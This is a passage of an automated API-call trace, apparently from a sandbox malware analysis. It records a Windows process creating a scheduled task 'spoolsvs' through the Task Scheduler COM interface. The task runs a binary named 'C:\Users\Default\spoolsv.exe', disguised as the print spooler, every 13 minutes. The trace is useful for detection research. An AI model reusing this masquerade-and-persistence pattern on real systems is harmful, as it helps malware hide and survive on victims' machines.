_ArgList=0xbc128 | out: _Buffer="|k|") returned 3 [0159.255] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.255] lstrlenW (lpString="|k|") returned 3 [0159.255] lstrlenW (lpString="|f|") returned 3 [0159.255] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0159.255] SetLastError (dwErrCode=0x490) [0159.255] lstrlenW (lpString="du") returned 2 [0159.255] lstrlenW (lpString="du") returned 2 [0159.255] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.255] lstrlenW (lpString="f") returned 1 [0159.255] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.255] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|du|") returned 4 [0159.255] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.255] lstrlenW (lpString="|du|") returned 4 [0159.255] lstrlenW (lpString="|f|") returned 3 [0159.255] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0159.255] SetLastError (dwErrCode=0x490) [0159.255] lstrlenW (lpString="ri") returned 2 [0159.255] lstrlenW (lpString="ri") returned 2 [0159.255] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.256] lstrlenW (lpString="f") returned 1 [0159.256] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.256] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|ri|") returned 4 [0159.256] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.256] lstrlenW (lpString="|ri|") returned 4 [0159.256] lstrlenW (lpString="|f|") returned 3 [0159.256] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0159.256] SetLastError (dwErrCode=0x490) [0159.256] lstrlenW (lpString="z") returned 1 [0159.256] lstrlenW (lpString="z") returned 1 [0159.256] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.256] lstrlenW (lpString="f") returned 1 [0159.256] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.256] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|z|") returned 3 [0159.256] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.256] lstrlenW (lpString="|z|") returned 3 [0159.256] lstrlenW (lpString="|f|") returned 3 [0159.256] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0159.256] SetLastError (dwErrCode=0x490) [0159.256] lstrlenW (lpString="f") returned 1 [0159.256] lstrlenW (lpString="f") returned 1 [0159.256] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.256] lstrlenW (lpString="f") returned 1 [0159.256] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.256] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.256] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc128 | out: _Buffer="|f|") returned 3 [0159.256] lstrlenW (lpString="|f|") returned 3 [0159.256] lstrlenW (lpString="|f|") returned 3 [0159.256] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0159.256] SetLastError (dwErrCode=0x0) [0159.256] SetLastError (dwErrCode=0x0) [0159.257] GetProcessHeap () returned 0x220000 [0159.257] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ccc0 [0159.257] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.257] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0159.257] lstrlenW (lpString="MINUTE") returned 6 [0159.257] GetProcessHeap () returned 0x220000 [0159.257] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d550 [0159.257] GetThreadLocale () returned 0x409 [0159.257] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0159.257] SetLastError (dwErrCode=0x0) [0159.257] GetProcessHeap () returned 0x220000 [0159.257] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x1fc) returned 0x23c220 [0159.257] GetProcessHeap () returned 0x220000 [0159.257] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc90 [0159.257] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.257] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0159.257] lstrlenW (lpString="First") returned 5 [0159.257] GetProcessHeap () returned 0x220000 [0159.257] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xc) returned 0x23d570 [0159.257] GetProcessHeap () returned 0x220000 [0159.257] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc60 [0159.257] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.257] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0159.257] lstrlenW (lpString="Second") returned 6 [0159.257] GetProcessHeap () returned 0x220000 [0159.257] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d590 [0159.257] GetProcessHeap () returned 0x220000 [0159.257] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc30 [0159.257] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.257] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0159.258] lstrlenW (lpString="Third") returned 5 [0159.258] GetProcessHeap () returned 0x220000 [0159.258] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xc) returned 0x23d5b0 [0159.258] GetProcessHeap () returned 0x220000 [0159.258] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc00 [0159.258] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.258] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0159.258] lstrlenW (lpString="Fourth") returned 6 [0159.258] GetProcessHeap () returned 0x220000 [0159.258] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d5d0 [0159.258] GetProcessHeap () returned 0x220000 [0159.258] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cbd0 [0159.258] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.258] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0159.258] lstrlenW (lpString="Last") returned 4 [0159.258] GetProcessHeap () returned 0x220000 [0159.258] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa) returned 0x23d5f0 [0159.258] lstrlenW (lpString="13") returned 2 [0159.258] _wtol (_String="13") returned 13 [0159.258] GetProcessHeap () returned 0x220000 [0159.258] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cba0 [0159.258] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.258] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0159.258] lstrlenW (lpString="First") returned 5 [0159.258] GetProcessHeap () returned 0x220000 [0159.258] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xc) returned 0x23d610 [0159.258] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.258] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0159.258] lstrlenW (lpString="Second") returned 6 [0159.258] GetProcessHeap () returned 0x220000 [0159.258] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d630 [0159.259] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.259] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0159.259] lstrlenW (lpString="Third") returned 5 [0159.259] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.259] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0159.259] lstrlenW (lpString="Fourth") returned 6 [0159.259] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.259] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0159.259] lstrlenW (lpString="Last") returned 4 [0159.259] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbbfa0, cchData=128 | out: lpLCData="0") returned 2 [0159.259] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.259] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0159.259] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0159.259] GetProcessHeap () returned 0x220000 [0159.259] GetProcessHeap () returned 0x220000 [0159.259] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d570) returned 1 [0159.259] GetProcessHeap () returned 0x220000 [0159.259] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d570) returned 0xc [0159.259] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d570 | out: hHeap=0x220000) returned 1 [0159.259] GetProcessHeap () returned 0x220000 [0159.259] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d570 [0159.259] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xbbfc0, cchData=128 | out: lpLCData="0") returned 2 [0159.259] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.259] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0159.259] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0159.259] GetProcessHeap () returned 0x220000 [0159.259] GetProcessHeap () returned 0x220000 [0159.259] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d590) returned 1 [0159.259] GetProcessHeap () returned 0x220000 [0159.260] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d590) returned 0xe [0159.260] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d590 | out: hHeap=0x220000) returned 1 [0159.260] GetProcessHeap () returned 0x220000 [0159.260] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x23d590 [0159.260] GetLocalTime (in: lpSystemTime=0xbc1f0 | out: lpSystemTime=0xbc1f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x12, wMilliseconds=0x1f4)) [0159.260] lstrlenW (lpString="") returned 0 [0159.260] GetLocalTime (in: lpSystemTime=0xbcaa8 | out: lpSystemTime=0xbcaa8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x12, wMilliseconds=0x1f4)) [0159.260] lstrlenW (lpString="") returned 0 [0159.260] lstrlenW (lpString="") returned 0 [0159.260] lstrlenW (lpString="") returned 0 [0159.260] lstrlenW (lpString="") returned 0 [0159.260] lstrlenW (lpString="13") returned 2 [0159.260] _wtol (_String="13") returned 13 [0159.260] lstrlenW (lpString="") returned 0 [0159.260] lstrlenW (lpString="") returned 0 [0159.260] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0159.290] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0159.383] CoCreateInstance (in: rclsid=0xffbf1ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xffbf1ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xbc870 | out: ppv=0xbc870*=0x1f7990) returned 0x0 [0159.392] TaskScheduler:ITaskService:Connect (This=0x1f7990, serverName=0xbc950*(varType=0x8, wReserved1=0xb, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xbc910*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0xbc930*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbc8f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0159.521] TaskScheduler:IUnknown:AddRef (This=0x1f7990) returned 0x2 [0159.521] TaskScheduler:ITaskService:GetFolder (in: This=0x1f7990, Path=0x0, ppFolder=0xbca08 | out: ppFolder=0xbca08*=0x1f7bc0) returned 0x0 [0159.523] TaskScheduler:ITaskService:NewTask (in: This=0x1f7990, flags=0x0, ppDefinition=0xbca00 | out: ppDefinition=0xbca00*=0x1f7c10) returned 0x0 [0159.524] ITaskDefinition:get_Actions (in: This=0x1f7c10, ppActions=0xbc980 | out: ppActions=0xbc980*=0x1f7cd0) returned 0x0 [0159.524] IActionCollection:Create (in: This=0x1f7cd0, Type=0, ppAction=0xbc9a0 | out: ppAction=0xbc9a0*=0x1f6060) returned 0x0 [0159.524] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.524] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0159.524] lstrlenW (lpString=" ") returned 1 [0159.524] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0159.524] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0159.525] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0159.525] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0159.525] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0159.525] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0159.525] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0159.525] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0159.525] IUnknown:Release (This=0x1f6060) returned 0x1 [0159.525] IUnknown:Release (This=0x1f7cd0) returned 0x1 [0159.525] ITaskDefinition:get_Triggers (in: This=0x1f7c10, ppTriggers=0xbc500 | out: ppTriggers=0xbc500*=0x1f7e10) returned 0x0 [0159.525] ITriggerCollection:Create (in: This=0x1f7e10, Type=1, ppTrigger=0xbc4f8 | out: ppTrigger=0xbc4f8*=0x1f60d0) returned 0x0 [0159.525] lstrlenW (lpString="13") returned 2 [0159.525] _vsnwprintf (in: _Buffer=0xbc480, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xbc478 | out: _Buffer="PT13M") returned 5 [0159.525] ITrigger:get_Repetition (in: This=0x1f60d0, ppRepeat=0xbc4f0 | out: ppRepeat=0xbc4f0*=0x1f6160) returned 0x0 [0159.525] IRepetitionPattern:put_Interval (This=0x1f6160, Interval="PT13M") returned 0x0 [0159.525] IUnknown:Release (This=0x1f6160) returned 0x1 [0159.525] _vsnwprintf (in: _Buffer=0xbc440, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xbc418 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0159.525] ITrigger:put_StartBoundary (This=0x1f60d0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0159.526] lstrlenW (lpString="") returned 0 [0159.526] lstrlenW (lpString="") returned 0 [0159.526] lstrlenW (lpString="") returned 0 [0159.526] lstrlenW (lpString="") returned 0 [0159.526] IUnknown:Release (This=0x1f60d0) returned 0x1 [0159.526] IUnknown:Release (This=0x1f7e10) returned 0x1 [0159.526] ITaskDefinition:get_Settings (in: This=0x1f7c10, ppSettings=0xbc9a0 | out: ppSettings=0xbc9a0*=0x1f7e80) returned 0x0 [0159.526] lstrlenW (lpString="") returned 0 [0159.526] IUnknown:Release (This=0x1f7e80) returned 0x1 [0159.526] GetLocalTime (in: lpSystemTime=0xbc858 | out: lpSystemTime=0xbc858*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x12, wMilliseconds=0x2ed)) [0159.526] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0159.526] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0159.526] GetUserNameW (in: lpBuffer=0xbc880, pcbBuffer=0xbc868 | out: lpBuffer="kEecfMwgj", pcbBuffer=0xbc868) returned 1 [0159.527] ITaskDefinition:get_RegistrationInfo (in: This=0x1f7c10, ppRegistrationInfo=0xbc850 | out: ppRegistrationInfo=0xbc850*=0x1f7d50) returned 0x0 [0159.527] IRegistrationInfo:put_Author (This=0x1f7d50, Author="") returned 0x0 [0159.527] _vsnwprintf (in: _Buffer=0xbc880, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xbc818 | out: _Buffer="2022-08-06T02:19:18") returned 19 [0159.527] IRegistrationInfo:put_Date (This=0x1f7d50, Date="") returned 0x0 [0159.527] IUnknown:Release (This=0x1f7d50) returned 0x1 [0159.527] malloc (_Size=0x18) returned 0x1f7b50 [0159.527] free (_Block=0x1f7b50) [0159.527] lstrlenW (lpString="") returned 0 [0159.527] malloc (_Size=0x18) returned 0x1f7b50 [0159.528] ITaskFolder:RegisterTaskDefinition (in: This=0x1f7bc0, Path="spoolsvs", pDefinition=0x1f7c10, flags=6, UserId=0xbcaf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xbcb30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xbea00, varVal2=0xfe), LogonType=3, sddl=0xbcb10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xbca10 | out: ppTask=0xbca10*=0x1f61c0) returned 0x0 [0159.582] free (_Block=0x1f7b50) [0159.582] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.582] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0159.582] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0159.582] GetProcessHeap () returned 0x220000 [0159.582] GetProcessHeap () returned 0x220000 [0159.582] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5b0) returned 1 [0159.582] GetProcessHeap () returned 0x220000 [0159.582] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d5b0) returned 0xc [0159.582] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d5b0 | out: hHeap=0x220000) returned 1 [0159.582] GetProcessHeap () returned 0x220000 [0159.582] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x82) returned 0x259910 [0159.582] _vsnwprintf (in: _Buffer=0xbd150, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xbc9b8 | out: _Buffer="SUCCESS: The scheduled task \"spoolsvs\" has successfully been created.\n") returned 70 [0159.582] _fileno (_File=0x7fefed02ab0) returned -2 [0159.582] _errno () returned 0x1f4bb0 [0159.582] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0159.583] SetLastError (dwErrCode=0x6) [0159.583] lstrlenW (lpString="SUCCESS: The scheduled task \"spoolsvs\" has successfully been created.\n") returned 70 [0159.583] GetConsoleOutputCP () returned 0x0 [0159.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spoolsvs\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0159.583] GetConsoleOutputCP () returned 0x0 [0159.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"spoolsvs\" has successfully been created.\n", cchWideChar=70, lpMultiByteStr=0xffc31880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"spoolsvs\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 70 [0159.583] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 70 [0159.583] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0159.583] IUnknown:Release (This=0x1f61c0) returned 0x0 [0159.583] TaskScheduler:IUnknown:Release (This=0x1f7c10) returned 0x0 [0159.584] TaskScheduler:IUnknown:Release (This=0x1f7bc0) returned 0x0 [0159.584] TaskScheduler:IUnknown:Release (This=0x1f7990) returned 0x1 [0159.584] lstrlenW (lpString="") returned 0 [0159.584] lstrlenW (lpString="13") returned 2 [0159.584] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="13", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0159.584] GetProcessHeap () returned 0x220000 [0159.584] GetProcessHeap () returned 0x220000 [0159.584] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c220) returned 1 [0159.584] GetProcessHeap () returned 0x220000 [0159.584] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c220) returned 0x1fc [0159.584] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c220 | out: hHeap=0x220000) returned 1 [0159.584] GetProcessHeap () returned 0x220000 [0159.584] GetProcessHeap () returned 0x220000 [0159.584] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23b960) returned 1 [0159.584] GetProcessHeap () returned 0x220000 [0159.584] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23b960) returned 0x6 [0159.584] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23b960 | out: hHeap=0x220000) returned 1 [0159.584] GetProcessHeap () returned 0x220000 [0159.584] GetProcessHeap () returned 0x220000 [0159.584] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d490) returned 1 [0159.585] GetProcessHeap () returned 0x220000 [0159.585] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d490) returned 0x16 [0159.585] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d490 | out: hHeap=0x220000) returned 1 [0159.585] GetProcessHeap () returned 0x220000 [0159.585] GetProcessHeap () returned 0x220000 [0159.585] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4b0) returned 1 [0159.585] GetProcessHeap () returned 0x220000 [0159.585] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23d4b0) returned 0x18 [0159.585] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23d4b0 | out: hHeap=0x220000) returned 1 [0159.585] GetProcessHeap () returned 0x220000 [0159.585] GetProcessHeap () returned 0x220000 [0159.585] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20) returned 1 [0159.585] GetProcessHeap () returned 0x220000 [0159.585] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cd20) returned 0x20 [0159.585] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cd20 | out: hHeap=0x220000) returned 1 [0159.585] GetProcessHeap () returned 0x220000 [0159.585] GetProcessHeap () returned 0x220000 [0159.585] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23bfc0) returned 1 [0159.585] GetProcessHeap () returned 0x220000 [0159.585] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23bfc0) returned 0xa0 [0159.586] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23bfc0 | out: hHeap=0x220000) returned 1 [0159.586] GetProcessHeap () returned 0x220000 [0159.586] GetProcessHeap () returned 0x220000 [0159.586] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba40) returned 1 [0159.586] GetProcessHeap () returned 0x220000 [0159.586] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23ba40) returned 0x18 [0159.586] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23ba40 | out: hHeap=0x220000) returned 1 [0159.586] GetProcessHeap () returned 0x220000 [0159.586] GetProcessHeap () returned 0x220000 [0159.586] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23cae0) returned 1 [0159.586] GetProcessHeap () returned 0x220000 [0159.586] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23cae0) returned 0x20 [0159.586] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23cae0 | out: hHeap=0x220000) returned 1 [0159.586] GetProcessHeap () returned 0x220000 [0159.586] GetProcessHeap () returned 0x220000 [0159.586] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2392c0) returned 1 [0159.586] GetProcessHeap () returned 0x220000 [0159.586] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, 